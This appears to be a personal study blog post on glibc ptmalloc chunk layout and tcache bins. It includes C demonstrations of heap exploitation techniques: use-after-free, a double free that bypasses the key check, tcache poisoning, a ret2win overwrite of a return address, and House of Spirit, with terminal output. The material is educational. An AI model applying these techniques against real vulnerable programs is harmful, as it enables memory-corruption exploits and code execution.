malloc and tcache
https://shuye.dev/blog/malloc_chunk/
https://sourceware.org/glibc/wiki/MallocInternals
https://zhouzhouzhang.co.uk/blog/12
I’ll focus on glibc ptmalloc on linux.
There is an important distinction to be made between the requested size, the usable size, and the total chunk size of an allocation.
When you call malloc, it will return some amount of memory greater than or equal to the requested size, for alignment/other reasons. This is the usable size.
The usable size seems to be 24 at a minimum, otherwise the requested size rounded up to the next value such that it is equal to 8 modulo 16.
The chunk size seems to be equal to the usable size + 8. But how can this be, if malloc uses 16 bytes of metadata?
The first 8 bytes of metadata is stored right before the usable memory, and contains the total chunk size of the current chunk (61 bits) and 3 internal flags (3 bits). This is included as part of the chunk.
The other 8 bytes of metadata is stored right before the other metadata, and contains prev_size, the size of the prior chunk. This bleeds in to the previous chunk’s usable memory, a clever optimisation. (but only when the P bit, PREV_IN_USE is 0, which is used to keep track. The very first chunk allocated always has this bit = 1, preventing access to nonexistent memory)
|-------------------------------------------chunk B ---------------------------------------------|
| |
| |
|----------------------------------------- chunk A ----------------------------------------------|
| |
| |
<------------------------chunk size------------------------------------------>
<-----8 bytes-----> <-------8 bytes-----> <------------------usable memory size------------------> <------------------usable memory size------------------>
<-----8 bytes-----> <------8 bytes-----> <-----8 bytes----->
|-------------------|---------------------|--------------------------------------------------------|-------------------|--------------------------------------------------------|
| chunk A | xxxxx AMP | usable memory - chunk B | xxxxx AMP | usable memory - chunk C |
| prev_size | size flags | - prev_size | size flags | - prev_size |
|-------------------|---------------------|--------------------------------------------------------|-------------------|--------------------------------------------------------|
^ ^
will contain size of chunk A will contain size of chunk B
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int main() {
int requested_size = 25;
void *ptr = malloc(requested_size);
size_t usable_size = malloc_usable_size(ptr);
printf("Usable size: %zu bytes\n", usable_size);
size_t chunk_size = usable_size + 8;
printf("Chunk size: %zu bytes\n", chunk_size);
size_t *header_ptr = (size_t *)((char *)ptr - 8);
// The lower 3 bits of the size field are used for internal flags (A, M, P).
chunk_size = *header_ptr & (~ 0b111);
printf("Chunk size read from metadata: %zu bytes\n", chunk_size);
free(ptr);
return 0;
}
Internal metadata flags:
P (PREV_INUSE): Previous chunk is allocated (bit 0). If p=1, the previous chunk is in use, and prev_size is not needed. If p=0, the previous chunk is free, and prev_size can bleed into the prev chunk.
M (IS_MMAPPED): Chunk obtained via mmap (bit 1).
A (NON_MAIN_ARENA): Chunk belongs to a non-main thread arena (bit 2).
The tcache bin index is calculated using the chunk size: #define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
MINSIZE = 0x20
MALLOC_ALIGNMENT = 0x10
More cleanly: index = (chunk_size-1)/16.
Relatively small chunks go into these tcache bins. They are LIFO (like a stack) though technically a linked list.
Each bin has a tcache_entry list. This is not stored somewhere random, each *next and *key pointer are written directly at the beginning of the chunk’s usable memory whenever free is called!!
So within glibc code, only a pointer to the first element of the list is needed, and can be updated. The rest of the list is on the heap.
When free is called, a tcache entry is put at the head of the list. And when malloc is called, a tcache entry is removed from the head of the list.
(In newer glibc versions, the *next pointer is kinda encrypted with xor, this is ‘pointer mangling’/’safe linking’)
Simple use-after-free:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* uaf = (char*) malloc(20);
free(uaf);
// uaf = nullptr; // preventative measure
//-----
char* flag = (char*) malloc(20);
strcpy(flag, "flag{test}");
//-----
// same!
printf("%p\n", uaf);
printf("%p\n", flag);
printf("%s\n", uaf);
}
If there’s 2 mallocs, just repeat with 2 frees
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = (char*) malloc(20);
char* b = (char*) malloc(20);
free(a);
free(b);
//-----
char* _ = (char*) malloc(20);
char* flag = (char*) malloc(20);
strcpy(flag, "flag{test}");
//-----
// same!
printf("%p\n", a);
printf("%p\n", flag);
printf("%s\n", a);
}
Double free (7):
(double frees are detected with the key. Recall Next and Key are written in to beginning of usable memory whenever free is called. So, overwrite key_ptr to avoid segfault.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* uaf = (char*) malloc(20);
free(uaf);
strcpy(uaf, "NEXT_PTRKEY__PTR"); // overwrite key! to avoid double free detection
free(uaf);
//-----
char* _ = (char*) malloc(20);
char* flag = (char*) malloc(20);
strcpy(flag, "flag{test}");
//-----
// same!
printf("%p\n", uaf);
printf("%p\n", flag);
printf("%s\n", uaf);
}
Let’s look at a simple tcache poisoning attack (naively only works in old glibc versions before safe linking was introduced) (11)
This link is very good: https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html
ptr0 = malloc(0x10);
ptr1 = malloc(0x10);
free(ptr0);
The first free puts ptr0 at the head of the tcache_entry list
tcache_entry = ptr0
free(ptr1);
The second free puts ptr1 at the head of the tcache_entry list
tcache_entry = ptr1 -> ptr0
*ptr1 = (unsigned long int)⌖
Now we poison the *next ptr of ptr1 (which currently is pointing to ptr0)
tcache_entry = ptr1 -> target
printf("Malloc Allocated: %p\n\n", malloc(0x10));
dummy malloc uses the memory at ptr1
tcache_entry = target
printf("Malloc Allocated: %p\n\n", malloc(0x10));
next malloc is now at our poisoned target addr :)
I test with glibc 2.31, I just download some old ubuntu iso https://old-releases.ubuntu.com/releases/20.04.0/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
//-----
char* flag = malloc(0x20);
strcpy(flag, "aaaaaaaabbbbbbbbccccccccdddddddd");
//-----
unsigned long* ptr0;
unsigned long* ptr1;
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
free(ptr0);
free(ptr1);
*ptr1 = (unsigned long) flag;
malloc(0x20);
char* attack = malloc(0x20); // this is where *key ptr gets NULLed
// same!
printf(" flag = %p\n", flag);
printf("attack = %p\n", attack);
// note we can only see the first 8 bytes!
// why? because when malloc() is called, it makes the *key ptr NULL (0's)
printf("%s\n\n", attack);
// but we can still see all other bytes
printf("%016lx\n", (unsigned long) *( ((unsigned long*) attack) + 0 )); // aaaaaaaa
printf("%016lx\n", (unsigned long) *( ((unsigned long*) attack) + 1 )); // 00000000
printf("%016lx\n", (unsigned long) *( ((unsigned long*) attack) + 2 )); // bbbbbbbb
printf("%016lx\n", (unsigned long) *( ((unsigned long*) attack) + 3 )); // cccccccc
}
connor@connor-Virtual-Machine:~$ gcc x.c; ./a.out
flag = 0x5621767222a0
attack = 0x5621767222a0
aaaaaaaa
6161616161616161
0000000000000000
6363636363636363
6464646464646464
connor@connor-Virtual-Machine:~$
(glibc 2.31) What if you lose access to the attack pointer? (18)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
//-----
char* flag = malloc(0x20);
strcpy(flag, "aaaaaaaa");
//-----
unsigned long* ptr0;
unsigned long* ptr1;
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
free(ptr0);
free(ptr1);
*ptr1 = (unsigned long) flag;
malloc(0x20);
char* attack = malloc(0x20);
attack = NULL; // what if this happens? (malloc is called, but we lose the ptr)
char* leak = malloc(0x20);
free(leak);
printf("leaked! %s\n\n", leak);
}
connor@connor-Virtual-Machine:~$ gcc x.c; ./a.out
leaked! aaaaaaaa��rU
connor@connor-Virtual-Machine:~$
What exactly is going on here?
Let’s focus our analysis on just the first 8 bytes of usable memory of each chunk on the heap (which contains either actual data or the *next pointers)
Note 1: Remember free() writes whatever is at tcache_head into the first 8 usable bytes (the *next ptr)
Note 2: If the bin count is 0, the tcache is not used
char* flag = malloc(0x20);
strcpy(flag, "aaaaaaaa");
tcache_entry = 0
count: 0
Heap:
flag: aaaaaaaa
unsigned long* ptr0;
unsigned long* ptr1;
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
tcache_entry = 0
count: 0
Heap:
ptr1: ... (uninitialised)
ptr0: ... (uninitialised)
flag: aaaaaaaa
free(ptr0);
tcache_entry = ptr0
count: 1
Heap:
ptr1: ... (uninitialised)
ptr0: 0
flag: aaaaaaaa
free(ptr1);
tcache_entry = ptr1 -> ptr0
count: 2
Heap:
ptr1: ptr0
ptr0: 0
flag: aaaaaaaa
*ptr1 = (unsigned long) flag;
tcache_entry = ptr1 -> flag -> aaaaaaaa
count: 2
Heap:
ptr1: flag
ptr0: 0
flag: aaaaaaaa
malloc(0x20);
(This chunk is allocated at ptr1)
tcache_entry = flag -> aaaaaaaa
count: 1
Heap:
ptr1: flag
ptr0: 0
flag: aaaaaaaa
char* attack = malloc(0x20);
attack = NULL; // what if this happens? (malloc is called, but we lose the ptr)
(this chunk is allocated at flag)
tcache_entry = aaaaaaaa
count: 0
Heap:
ptr1: flag
ptr0: 0
flag: aaaaaaaa
Up to this point everything is the same as the previous one.
The additional stuff:
char* leak = malloc(0x20);
Since the count is 0 (for this tcache bin), malloc does not bother to use the tcache at all.
tcache_entry = aaaaaaaa
count: 0
Heap:
leak: ... (uninitialised)
ptr1: flag
ptr0: 0
flag: aaaaaaaa
free(leak);
The head of the tcache_entry (aaaaaaaa) is written into the usable memory of leak!
tcache_entry = leak -> aaaaaaaa
count: 1
Heap:
leak: aaaaaaaa
ptr1: flag
ptr0: 0
flag: aaaaaaaa
(glibc 2.31) Tcache poisoning can be combined with other techniques like ret2win (19)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win() {
printf("you win!\n");
}
int main() {
int stack_leak[2] = {3, 5};
printf("stack_leak + 0: %lx\n", (unsigned long) *((unsigned long*) stack_leak));
printf("stack_leak + 8: %lx\n", (unsigned long) *(((unsigned long*) stack_leak) + 1)); // canary
printf("stack_leak + 16: %lx\n", (unsigned long) *(((unsigned long*) stack_leak) + 2)); // prev rbp
printf("stack_leak + 24: %lx\n", (unsigned long) *(((unsigned long*) stack_leak) + 3)); // ret
// the usual tcache poisoning
unsigned long* ptr0;
unsigned long* ptr1;
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
free(ptr0);
free(ptr1);
*ptr1 = (unsigned long) stack_leak + 8*3; // target is return addr of main
malloc(0x20);
unsigned long* attack = malloc(0x20);
*attack = (unsigned long) win;
}
connor@connor-Virtual-Machine:~$ gcc ret2win.c; ./a.out
stack_leak + 0: 500000003
stack_leak + 8: fa6b8aaef5f21500
stack_leak + 16: 0
stack_leak + 24: 7f3b3f3ec083
you win!
Segmentation fault (core dumped)
connor@connor-Virtual-Machine:~$
(glibc 2.31) It’s also possible to cause malloc() to return a stack pointer! and you can use fake metadata to control the size: (23)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <malloc.h>
int main() {
unsigned long stack_memory[20] = {0};
void* stackptr = &stack_memory[2]; // free(): invalid pointer means this is not 16-byte alligned
stack_memory[1] = 80; // req size is 63, usable size is 72, chunk size is 80
free(stackptr);
stack_memory[11] = 0x1; // also ensure the NEXT chunk's header has the P flag set
void* allocated_ptr = malloc(63);
printf("%p\n", allocated_ptr); // stack addr not heap addr! success! (it equals stackptr)
printf("%zu\n", malloc_usable_size(allocated_ptr)); //72! success!
}
This is House of Spirit https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html
We are freeing something that has never actually been malloc’d, so we have to trick it into looking like it has (otherwise free will error)